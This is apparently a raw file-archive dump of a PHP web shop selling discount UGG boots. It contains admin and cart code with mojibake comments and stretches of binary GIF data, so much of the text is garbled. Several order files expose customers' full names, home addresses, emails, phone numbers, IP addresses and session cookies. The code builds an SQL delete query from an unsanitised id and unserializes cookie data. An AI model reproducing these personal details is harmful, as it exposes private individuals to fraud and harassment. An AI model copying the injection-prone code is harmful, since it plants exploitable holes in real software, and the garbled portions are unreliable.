').prepend(i);else if(!$('iframe.jqm',h.w)[0])h.w.prepend(i); f(h);}, f=function(h){try{$(':input:visible',h.w)[0].focus();}catch(_){}}, L=function(t){$()[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m);}, m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r)f(h);return !r;}, hs=function(w,t,c){return w.each(function(){var s=this._jqm;$(t).each(function() { if(!this[c]){this[c]=[];$(this).click(function(){for(var i in {jqmShow:1,jqmHide:1})for(var s in this[i])if(H[this[i][s]])H[this[i][s]].w[i](this);return F;});}this[c].push(s);});});}; })(jQuery);cheapuggsales.uk.com/admin_frad/browse_tag.php0000777000000000000000000000653211633550314020531 0ustar rootroot

fetchAll("select tag.id as id,tag.tagname as tagname,ftag.tagname as parent_tagname,is_static,model,tagfield,tagfield_type,tagvalue from (select id,tagname,parentid,is_static,model,tagfield,tagfield_type,tagvalue from tags where parentid!=0) as tag,(select id,tagname from tags where parentid=0) as ftag where tag.parentid=ftag.id"); foreach($r as $v) { $html=<< html; echo $html; } ?>
ID 标签名 所属标签类型 是否静态标签 所属产品模型 查找字段 查找字段类型 查找值 操作
{$v['id']} {$v['tagname']} {$v['parent_tagname']} {$v['is_static']} {$v['model']} {$v['tagfield']} {$v['tagfield_type']} {$v['tagvalue']} 编辑 删除
exec("delete from tags where parentid!=0 and id=".$id); if($r>0) msg('删除【'.$tagname.'】标签类型成功'); else { msg('删除【'.$tagname.'】标签类型失败 :('); } } ?> cheapuggsales.uk.com/cart/0000777000000000000000000000000011633550304014517 5ustar rootrootcheapuggsales.uk.com/cart/cart.php0000777000000000000000000000031311633550304016161 0ustar rootrootcheapuggsales.uk.com/cart/cart.class.php0000777000000000000000000001532311633550304017274 0ustar rootrootdata[$id]) { $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; // �����Ʒ } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $price * $count; } // ���湺�ﳵ��� $cart->save(); ============================================================ �༭һ����Ʒ���� ============================================================ // ������ require_once './cart.class.php'; // ������ʵ�� $cart = new cart(); // ��Ʒ�Ѿ����� �޸���� if ($cart->data[$id]) { $cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; // ���湺�ﳵ��� $cart->save(); } ============================================================ ɾ��һ����Ʒ ============================================================ // ������ require_once './cart.class.php'; // ������ʵ�� $cart = new cart(); // ɾ����Ʒ unset($cart->data[$id]); // ���湺�ﳵ��� $cart->save(); ============================================================ �б?�ﳵ ============================================================ // ������ require_once './cart.class.php'; // ������ʵ�� $cart = new cart(); foreach ($cart->data AS $k => $v) { echo '��Ʒ ID: '.$k; echo '��Ʒ���: '.$v['name']; echo '��Ʒ����: '.$v['price']; echo '��Ʒ����: '.$v['count']; echo '��Ʒ�ܼ�: '.$v['money']; } ============================================================ ij�ֶ����ۼ� --- ��������Ʒ�ܼ۸� ============================================================ // ������ require_once './cart.class.php'; // ������ʵ�� $cart = new cart(); // �ۼ� money �ֶ� $cart->sum('money') ============================================================ ��չ��ﳵ ============================================================ // ������ require_once './cart.class.php'; // ������ʵ�� $cart = new cart(); // ������ unset($cart->data); // ���湺�ﳵ��� $cart->save(); ============================================================ */ class cart { // ���ﳵ��ʶ var $cartname = ''; // �洢���� var $savetype = ''; // ���ﳵ����Ʒ��� var $data = array(); // Cookie ��� var $cookietime = 0; var $cookiepath = '/'; var $cookiedomain = ''; var $getip=''; // ���캯�� (���ﳵ��ʶ, $session_id, �洢����(session��cookie), Ĭ����һ��ʱ��, $cookiepath, $cookiedomain) function cart($cartname = "FrCart_", $session_id = '', $savetype = 'session', $cookietime = 86400, $cookiepath = '/', $cookiedomain = '') { if (@$_SERVER['HTTP_CLIENT_IP'] && $_SERVER['HTTP_CLIENT_IP']!='unknown') { $getip = $_SERVER['HTTP_CLIENT_IP']; } elseif (@$_SERVER['HTTP_X_FORWARDED_FOR'] && $_SERVER['HTTP_X_FORWARDED_FOR']!='unknown') { $getip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $getip = str_replace(".","_",$_SERVER['REMOTE_ADDR']); } $cartname = $cartname.$getip; $cartname = str_replace(" ","",$cartname); $cartname = str_replace("=","",$cartname); $cartname = str_replace(",","",$cartname); $cartname = str_replace(";","",$cartname); $cartname = str_replace("\t","",$cartname); $cartname = str_replace("\r","",$cartname); $cartname = str_replace("\n","",$cartname); $cartname = str_replace("\013","",$cartname); $cartname = str_replace("\014","",$cartname); //=,;\t\r\n\013\014 // ���� session �洢 if ($savetype == 'session') { if (@!$session_id && @$_COOKIE[$cartname.'_session_id']) { session_id($_COOKIE[$cartname.'_session_id']); } elseif($session_id) session_id($session_id); session_start(); if (@!$session_id && @!$_COOKIE[$cartname.'_session_id']) setcookie($cartname.'_session_id', session_id(), $cookietime + time(), $cookiepath, $cookiedomain); } $this->cartname = $cartname; $this->savetype = $savetype; $this->cookietime = $cookietime; $this->cookiepath = $cookiepath; $this->cookiedomain = $cookiedomain; $this->readdata(); } // ��ȡ��� function readdata() { if ($this->savetype == 'session') { if ($_SESSION[$this->cartname] && is_array($_SESSION[$this->cartname])) $this->data = $_SESSION[$this->cartname]; else $this->data = array(); } elseif ($this->savetype == 'cookie') { if ($_COOKIE[$this->cartname]) $this->data = unserialize($_COOKIE[$this->cartname]); else $this->data = array(); } } // ���湺�ﳵ��� function save() { if ($this->savetype == 'session') { $_SESSION[$this->cartname] = $this->data; } elseif ($this->savetype == 'cookie') { if ($this->data) setcookie($this->cartname, serialize($this->data), $this->cookietime + time(), $this->cookiepath, $this->cookiedomain); } } // ������Ʒij�ֶ��ۼ� function sum($field) { $sum = 0; if ($this->data) foreach ($this->data AS $v) if ($v[$field]) $sum += $v[$field] + 0; return $sum; } function getip(){ if (@$_SERVER['HTTP_CLIENT_IP'] && $_SERVER['HTTP_CLIENT_IP']!='unknown') { $getIp = $_SERVER['HTTP_CLIENT_IP']; } elseif (@$_SERVER['HTTP_X_FORWARDED_FOR'] && $_SERVER['HTTP_X_FORWARDED_FOR']!='unknown') { $getIp = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $getIp = $_SERVER['REMOTE_ADDR']; } return $getIp; } } ?>cheapuggsales.uk.com/cart/zmain_4.gif0000777000000000000000000000024611633550304016554 0ustar rootrootGIF89aᳳ!,# 0DQq H(`مEUI$4 ,;cheapuggsales.uk.com/cart/order/0000777000000000000000000000000011647525560015645 5ustar rootrootcheapuggsales.uk.com/cart/order/201109020115075954.txt0000777000000000000000000000253211633550304020303 0ustar rootroot201109020115075954 FrCart_77.168.186.182 51.22
Product id: 33-US 6 UK 4.5 EUR 37
Product url: http://www.buycheapuggs.co.uk/Chestnut-Ugg-Boots/Classic-Mini-Ugg-Chestnut.html
Product img: images/4/13137971672.jpg
Product name: Classic Mini Ugg Chestnut_US 6 UK 4.5 EUR 37
Product price: € 58.60
Product count: 1
Product subtotel: € 58.60
Cart totel: 58.60 Payment: shipping:0 firstname:sanne lastname:albregtse sex:1 streetname:Het heem address2: country:Nederland province: state:Zeeland city:Breskens, Nederland zipcode:4511PM email:sanne_albregtse@hotmail.com telephone: postscript: name: cardid: month: year: cvv: carttype:O carttype:O

2 77.168.186.182
3 77.168.186.182
Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
gzip,deflate,sdch
cur=GBP; __utma=213157895.1168410286.1314897119.1314897119.1314897119.1; __utmb=213157895.13.10.1314897119; __utmc=213157895; __utmz=213157895.1314897119.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=buy%20cheap%20uggs; PHPSESSID=48a46578dd873130a6097ae1b9b816a1; FrCart_77.168.186.182_session_id=48a46578dd873130a6097ae1b9b816a1cheapuggsales.uk.com/cart/order/201109020905095130.txt0000777000000000000000000000240011633550304020270 0ustar rootroot201109020905095130 FrCart_60.6.237.52 62.99
Product id: 36-US 5 UK 3.5 EUR 36
Product url: http://www.buycheapuggs.co.uk/Chestnut-Ugg-Boots/Ugg-Button-Boots-Chestnut.html
Product img: images/4/1313797201t.jpg
Product name: Ugg Button Boots Chestnut_US 5 UK 3.5 EUR 36
Product price: £ 62.99
Product count: 1
Product subtotel: £ 62.99
Cart totel: 62.99 Payment: shipping:0 firstname:dgdg lastname:sfsdf sex:0 streetname:dsgdg address2: country:United States province: state: city:fhfdhg zipcode:253266 email:icy@gmail.com telephone:256895 postscript: name: cardid: month: year: cvv: carttype: carttype:

2 60.6.237.52
3 60.6.237.52
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8
gzip,deflate,sdch
cur=GBP; __utma=213157895.1366597903.1314239918.1314777224.1314925461.4; __utmb=213157895.3.10.1314925461; __utmc=213157895; __utmz=213157895.1314239918.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=2d25100176ca6197ed3edc192b73c556; FrCart_60.6.237.52_session_id=2d25100176ca6197ed3edc192b73c556cheapuggsales.uk.com/cart/order/201109011854223889.txt0000777000000000000000000000261211633550304020316 0ustar rootroot201109011854223889 FrCart_82.69.54.230 62.99
Product id: 73-US 8 UK 6.5 EUR 39
Product url: http://www.buycheapuggs.co.uk/Bailey-Button-Ugg-Boots/Ugg-Bailey-Button-Boots-Grey.html
Product img: images/13/13137989394.jpg
Product name: Ugg Bailey Button Boots Grey_US 8 UK 6.5 EUR 39
Product price: £ 62.99
Product count: 1
Product subtotel: £ 62.99
Cart totel: 62.99 Payment: shipping:0 firstname:Patricia lastname:McElroy sex:1 streetname:3 Linehan Close address2:Heaton Mersey country:UK province: state: city:Stockport zipcode:SK4 3BQ email:trish.mcelroy@fdl-law.co.uk telephone:0778642082 postscript: name: cardid: month: year: cvv: carttype:O carttype:O

2 82.69.54.230
3 82.69.54.230
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.1.4322)

image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*
en-gb
gzip, deflate
__utma=213157895.1291498089.1314874316.1314874316.1314874316.1; __utmb=213157895.4.10.1314874316; __utmc=213157895; __utmz=213157895.1314874316.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheap%20bailey%20button%20uggs; cur=GBP; PHPSESSID=56e53c8095c9cddd027b7122601c5725; FrCart_82.69.54.230_session_id=56e53c8095c9cddd027b7122601c5725cheapuggsales.uk.com/cart/order/201108311248359176.txt0000777000000000000000000000264011633550304020315 0ustar rootroot201108311248359176 FrCart_90.206.173.87 62.99
Product id: 78-US 10 UK 8.5 EUR 41
Product url: http://www.buycheapuggs.co.uk/Bailey-Button-Ugg-Boots/Ugg-Bailey-Button-Boots-Chestnut.html
Product img: images/13/1313798988t.jpg
Product name: Ugg Bailey Button Boots Chestnut_US 10 UK 8.5 EUR 41
Product price: £ 62.99
Product count: 1
Product subtotel: £ 62.99
Cart totel: 62.99 Payment: shipping:0 firstname:Sarah lastname:Hutton sex:1 streetname:71 purlin wharf address2: country:Netherton province: state: city:West midlands zipcode:Dy2 9pq email:sarahbelle86@hotmail.co.uk telephone:07758228386 postscript: name: cardid: month: year: cvv: carttype:M carttype:M

2 90.206.173.87
3 90.206.173.87
Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
en-us
gzip, deflate
__utma=213157895.1001534802.1314766150.1314766150.1314766150.1; __utmb=213157895.2.10.1314766150; __utmc=213157895; __utmz=213157895.1314766150.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheap%20bailey%20button%20ugg%20boots%20uk; FrCart_90.206.173.87_session_id=99faad3e36dfe37b5d5de592431341bc; PHPSESSID=99faad3e36dfe37b5d5de592431341bccheapuggsales.uk.com/cart/order/201108301708374659.txt0000777000000000000000000000255111633550304020321 0ustar rootroot201108301708374659 FrCart_2.217.80.78 62.99
Product id: 36-US 8 UK 6.5 EUR 39
Product url: http://www.buycheapuggs.co.uk/Chestnut-Ugg-Boots/Ugg-Button-Boots-Chestnut.html
Product img: images/4/1313797201t.jpg
Product name: Ugg Button Boots Chestnut_US 8 UK 6.5 EUR 39
Product price: £ 62.99
Product count: 1
Product subtotel: £ 62.99
Cart totel: 62.99 Payment: shipping:0 firstname:Angie lastname:Contoret sex:1 streetname:9 armstrong way address2:Rawcliffe country:Uk province: state: city:York zipcode:YO30 5 NG email:Angcontoret@yahoo.co.uk telephone:447786973561 postscript:Need to pay via paypal name: cardid: month: year: cvv: carttype:O carttype:O

2 2.217.80.78
3 2.217.80.78
Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
en-us
gzip, deflate
FrCart_2.217.80.78_session_id=0ccf01103a9cd05e83ddcdd7d353312c; PHPSESSID=0ccf01103a9cd05e83ddcdd7d353312c; __utma=213157895.515004864.1314695110.1314695110.1314695110.1; __utmb=213157895.1.10.1314695110; __utmc=213157895; __utmz=213157895.1314695110.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)cheapuggsales.uk.com/cart/order/201108300228431163.txt0000777000000000000000000000254011633550304020273 0ustar rootroot201108300228431163 FrCart_2.217.80.78 62.99
Product id: 36-US 8 UK 6.5 EUR 39
Product url: http://www.buycheapuggs.co.uk/Chestnut-Ugg-Boots/Ugg-Button-Boots-Chestnut.html
Product img: images/4/1313797201t.jpg
Product name: Ugg Button Boots Chestnut_US 8 UK 6.5 EUR 39
Product price: £ 62.99
Product count: 1
Product subtotel: £ 62.99
Cart totel: 62.99 Payment: shipping:0 firstname:Angie lastname:Contoret sex:1 streetname:9 Armstrong way address2: country:Uk province: state: city:York zipcode:YO30 5NG email:Angcontoret@yahoo.co.uk telephone:447786073361 postscript: name: cardid: month: year: cvv: carttype:O carttype:O

2 2.217.80.78
3 2.217.80.78
Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8J2

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
en-us
gzip, deflate
FrCart_2.217.80.78_session_id=ac46b65ec53c99a26a33c55b47420272; PHPSESSID=ac46b65ec53c99a26a33c55b47420272; cur=GBP; __utma=213157895.1262718598.1314641698.1314641698.1314641698.1; __utmb=213157895.10.10.1314641698; __utmc=213157895; __utmz=213157895.1314641698.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bailey%20button%20ugg%20boots%20salecheapuggsales.uk.com/cart/order/201108311622041434.txt0000777000000000000000000000242411633550304020272 0ustar rootroot201108311622041434 FrCart_60.6.237.52 88.99
Product id: 12-US 5 UK 3.5 EUR 36
Product url: http://www.buycheapuggs.co.uk/Black-Ugg-Boots/Ultra-Tall-Ugg-Black.html
Product img: images/1/13137965812.jpg
Product name: Ultra Tall Ugg Black_US 5 UK 3.5 EUR 36
Product price: £ 88.99
Product count: 1
Product subtotel: £ 88.99
Cart totel: 88.99 Payment: shipping:0 firstname:sadf lastname:sdf sex:0 streetname:sadfa23 address2: country:44 province: state: city:sdfsa sadf zipcode:054001 email:sdf@sdf.com telephone:2323222 postscript: name: cardid: month: year: cvv: carttype: carttype:

2 60.6.237.52
3 60.6.237.52
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
zh-CN,zh;q=0.8
gzip,deflate,sdch
cur=GBP; __utma=213157895.210439937.1313992014.1314410562.1314778939.3; __utmb=213157895.2.10.1314778939; __utmc=213157895; __utmz=213157895.1313992014.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=693d9ce2924134cef3295b61972604df; FrCart_60.6.237.52_session_id=693d9ce2924134cef3295b61972604dfcheapuggsales.uk.com/cart/order/201109010349091623.txt0000777000000000000000000000252411633550304020303 0ustar rootroot201109010349091623 FrCart_81.107.126.167 69.99
Product id: 8-US 8 UK 6.5 EUR 39
Product url: http://www.buycheapuggs.co.uk/Black-Ugg-Boots/Ugg-Short-Classic-Black.html
Product img: images/1/13137965482.jpg
Product name: Ugg Short Classic Black_US 8 UK 6.5 EUR 39
Product price: £ 69.99
Product count: 1
Product subtotel: £ 69.99
Cart totel: 69.99 Payment: shipping:0 firstname:Barry lastname:Whiting sex:0 streetname:11 Foxhill address2:Luton country:United Kingdom province: state:Bedfordshire city:Luton zipcode:LU2 7YR email:barry.whiting@ntlworld.com telephone:441582519762 postscript: name: cardid: month: year: cvv: carttype:V carttype:V

2 81.107.126.167
3 81.107.126.167
Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en-US,en;q=0.8
gzip,deflate,sdch
cur=GBP; __utma=213157895.1314071139.1314819989.1314819989.1314819989.1; __utmb=213157895.3.10.1314819989; __utmc=213157895; __utmz=213157895.1314819989.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=buy%20cheap%20ugg%20co%20uk; PHPSESSID=f12e9cad801f479657711a1d8f9facb9; FrCart_81.107.126.167_session_id=f12e9cad801f479657711a1d8f9facb9cheapuggsales.uk.com/cart/order/201110191511223721.txt0000644000004100000410000000301511647474032021617 0ustar www-datawww-data201110191511223721 FrCart_217.199.29.92 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 1
Product subtotel: € 98.07
Cart totel: 98.07 Payment: shipping:0 firstname:Silvia Gaia lastname:Donadel sex:1 streetname:Via La prà 4 address2: country:Italy province: state:Verona - Veneto city:Povegliano Veronese zipcode:37064 email:pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V
217.199.29.92
2 46.19.136.100
3 217.199.29.92, 85.115.58.180
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
de-DE
gzip, deflate
__utma=244049111.216948290.1318922256.1318925000.1319008168.3; __utmz=244049111.1319008168.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheapuggsales.uk.com; __utmb=244049111.3.10.1319008168; __utmc=244049111; cur=GBP; FrCart_217.199.29.92_session_id=hlq77bgl3ti82fq88tc8seang6; PHPSESSID=hlq77bgl3ti82fq88tc8seang6cheapuggsales.uk.com/cart/order/201110191517473815.txt0000644000004100000410000000242711647474633021655 0ustar www-datawww-data201110191517473815 FrCart_60.6.237.52 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: £ 85.77
Product count: 1
Product subtotel: £ 85.77
Cart totel: 85.77 Payment: shipping:0 firstname:Jaony lastname:Miss sex:0 streetname:sghdfg address2:uidsuf country:中国 province: state:Hebei city:Xingtai zipcode:054000 email:yulu77@googlemail.com telephone:863192825666 postscript: name: cardid: month: year: cvv: carttype:V carttype:V

2 46.19.136.100
3 60.6.237.52
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8
gzip,deflate,sdch
__utma=244049111.1835350891.1319008647.1319008647.1319008647.1; __utmb=244049111.1.10.1319008647; __utmc=244049111; __utmz=244049111.1319008647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=611avb80va4reg4lffgob9bra1; FrCart_60.6.237.52_session_id=611avb80va4reg4lffgob9bra1cheapuggsales.uk.com/cart/order/201110191532166598.txt0000644000004100000410000000301411647476400021644 0ustar www-datawww-data201110191532166598 FrCart_217.199.29.92 85.77
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 1
Product subtotel: € 98.07
Cart totel: 98.07 Payment: shipping:0 firstname:Silvia Gaia lastname:Donadel sex:1 streetname:Via La prà 4 address2: country:Italy province: state:Verona - Veneto city:Povegliano Veronese zipcode:37064 email:pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V
217.199.29.92
2 46.19.136.100
3 217.199.29.92, 85.115.58.180
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
de-DE
gzip, deflate
__utma=244049111.216948290.1318922256.1319008168.1319009325.4; __utmz=244049111.1319009325.4.4.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheapuggsale.uk.com; __utmb=244049111.5.10.1319009325; __utmc=244049111; FrCart_217.199.29.92_session_id=9go1th8a4srd76bjeg3nsfhvg1; cur=GBP; PHPSESSID=9go1th8a4srd76bjeg3nsfhvg1cheapuggsales.uk.com/cart/order/201110191850246239.txt0000644000004100000410000000372011647525560021644 0ustar www-datawww-data201110191850246239 FrCart_79.30.139.250 257.31
Product id: 446-US 8 UK 6.5 EUR 39
Product url: http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html
Product img: /images/18/1314745625l.jpg
Product name: UGG Roxy Tall Boots Chestnut 5818_US 8 UK 6.5 EUR 39
Product price: € 98.07
Product count: 3
Product subtotel: € 294.21
Cart totel: 294.21 Payment: shipping:0 firstname:Silvia gaia lastname:Donadel sex:1 streetname:Via la Prà 4 address2: country:Italy province: state:Verona - veneto city:Povegliano veronese zipcode:37064 email:Pesci87@hotmail.it telephone:3408431840 postscript: name: cardid: month: year: cvv: carttype:V carttype:V

2 46.19.136.100
3 79.30.139.250
Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5

application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
it-it
gzip, deflate
carttype=V; billAddress=Via%20La%20Pr%C3%A0.%204; billcity=Povegliano%20Veronese; billcountry=Italy; billCustomerName=Silvia%20Gaia%20Donadel; billemail=Pesci87%40hotmail.it; billpostcode=37064; billregion=VR; billsex=1; billshipsame=1; billtelephone=3408431840; shipAddress=Via%20La%20Pr%C3%A0.%204; shipcity=Povegliano%20Veronese; shipcountry=Italy; shipCustomerName=Silvia%20Gaia%20Donadel; shipemail=Pesci87%40hotmail.it; shippostcode=37064; shipregion=VR; shipsex=1; shiptelephone=3408431840; cookie_test=1; FrCart_79.30.139.250_session_id=5cu8fe4smk6sk1kf28pn4tl572; FrCart_79.45.250.39_session_id=5cu8fe4smk6sk1kf28pn4tl572; cur=GBP; PHPSESSID=5cu8fe4smk6sk1kf28pn4tl572; __utma=244049111.9348337.1318882118.1319001622.1319019431.4; __utmb=244049111.3.10.1319019431; __utmc=244049111; __utmz=244049111.1319019431.4.4.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uggsalesuk%20comcheapuggsales.uk.com/cart/aaa.txt0000777000000000000000000000000011633550304015773 0ustar rootrootcheapuggsales.uk.com/cart/walmart.gif0000777000000000000000000000125711633550304016665 0ustar rootrootGIF89agAuF|KLWXddpx|׈ڐݔޝᠽ!,gedihl뾪8Rx|`dFGl:ШtJZCLxL.:l(^|N~o ~p|y  _zrrz u xsȆuqxzrstɐwxxrk rS6\ {׎bBhz03G9 !prNˉ(3E*89:0CخLs2^tRv<jYdۜb9-7_Fў^jZNԡpsZyEj2˷2 b`5QaxH G*vs H<@(I>P)y±SOv]wTU" XsF$麫8¿$z\ҖV0,jI~xjEۥO(⦒R+Я#ob糢*ׁe>!@ڍsZJeCuhK$yӘH&¼Ċ~ޗЋuo`ᡌ.Ͼtg㺲6ԥ ىn赤hFkSжJ:^:O(N';|mzo䩖~aݬΓ=ƺvX4 ౪}q뎊|4"؟F4{uf氟T8l^vžq뾰2؅juc@ΌʁulK֝tp_iG߰re4 pUYC%·}gE>ޚC"ܓzWIׅiüٻλ0tn^vp`B2zm徸uhgZ@/ǀudUධڠW@v_ |H||O|||,Zg H*\0F#L C3j(Ǐ CBHɓ(Sr,3 æL8k~cČʟ@ Jѣ)[*-(k3kis&EHjʵWYU2R RA1u*ΝR4!ݻxHg$Ԝmi˸HࢿHieÆKS ӨS(R%g(B.*j[6U ade;{ PzܠT 8&ν; ]_̔r[D.`٫齾}""k0l!oLÀQL}ƵA]$YKB ߂}0@f=G jܢ~ &U)t(ig)80M GiCfiWs" 0@Mlpr`"FD&|7aDթhAH`.=Eo"Ov:KN="&SJz @Ҕmbj^ %">+ &086lUı*hٴj[@Hsk*M+`jFt7tfal|Ql){ $l'LBf֨oU4ӵ ҃e[g"}w%CU" 0,1K8|MB-Dmi@ GNZ#K)\V$ t`-60@lp =D*u[1T_,1 '8T47x@0A=砇zPLpDdL@xi饅 >)@S^eD|S&DDzPx,fYeM^F-bI-NFco7JEʼ6`('DC!K8by'8kKtZLU{w(o@- <,t"H'@PhfWKzթq3l8 qP蹶cD'A { ubqa|~OˣO!G Rvx-pqp2pN0fb&t''U F!n<# eP DiLq{vGN 3YF=LWD&wXrsT P`XW&OW#mbA`A0a0@}a>>Hl%zp W8+@PLP}r;d0S:d [8 2nP #`Np {H<@=ڶp# !u!$$P MhO`\z P7 l3R8p ?cq 0`-B -5 d xx4!Lo 58q,yD A-= +؍OQSQ`&I{@k&z%TGQto`&Pp }X#`=1p 9D\y  7&p d}fvo@[yx]t}ߵcȐ1  f@ "l 6K9i?0?HU01 tL-p0`v SHB@7ᵑCTe8 pZ!\hAU5UF,PbB1 M"p 'x`.SAX0 A3 yqGݦQm4o?&4wk=p$E&} Q 10 0I aa}U ԉHkTbY$5 Vɂ -$'a!!xU(d4@zS 'Cf2P R UM@ 2 ` JHjX hJ YaMƑqJʳo7 ANbh;_8rY50 0PwS10r::PQ P P)  h^PŠРzq|!@FhKqZ _ ɘ_ !re]#B0ԃ!]8o 1rV#nA: v Y cX" ~ 0 $ah( XPP:2 |PzXP}P// s71 Pc5Fäac8 nGi2@= A@=(vlnM&uo9 } 1`K f@ P}"Z>Kf!@f2 2H.$f@f&} Veu? ` :3' %p& 7C56 =v β+<v @\c#00&<<]myc&v{M [R`x\YS :~|bqɌVX z$ QP QP2P  J>CC0cph%ZY`4ES3zPp_dx=p?8P  48qj={&YY}7 q`(x X 5l )ɩ |)1"@u>T XY+hP|8|Z}`PfZ 656^ 0 m`n&opB `< LHpj`$FM pđ D т ~K v}ˊMI X~$ +  ` ȥK[ ~ L":p-Yn0 g~ jlntA3Pa1kj5[! *D+I{ $Q^璾!.E1 [H0t=35DqI PĻ EII>A%۪6DcX5젎 ;f̞$>&HfHO;cheapuggsales.uk.com/cart/jquery-1.3.2.min.js0000777000000000000000000015764611633550304017643 0ustar rootroot/* * jQuery JavaScript Library v1.3.2 * http://jquery.com/ * * Copyright (c) 2009 John Resig * Dual licensed under the MIT and GPL licenses. * http://docs.jquery.com/License * * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009) * Revision: 6246 */ (function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var 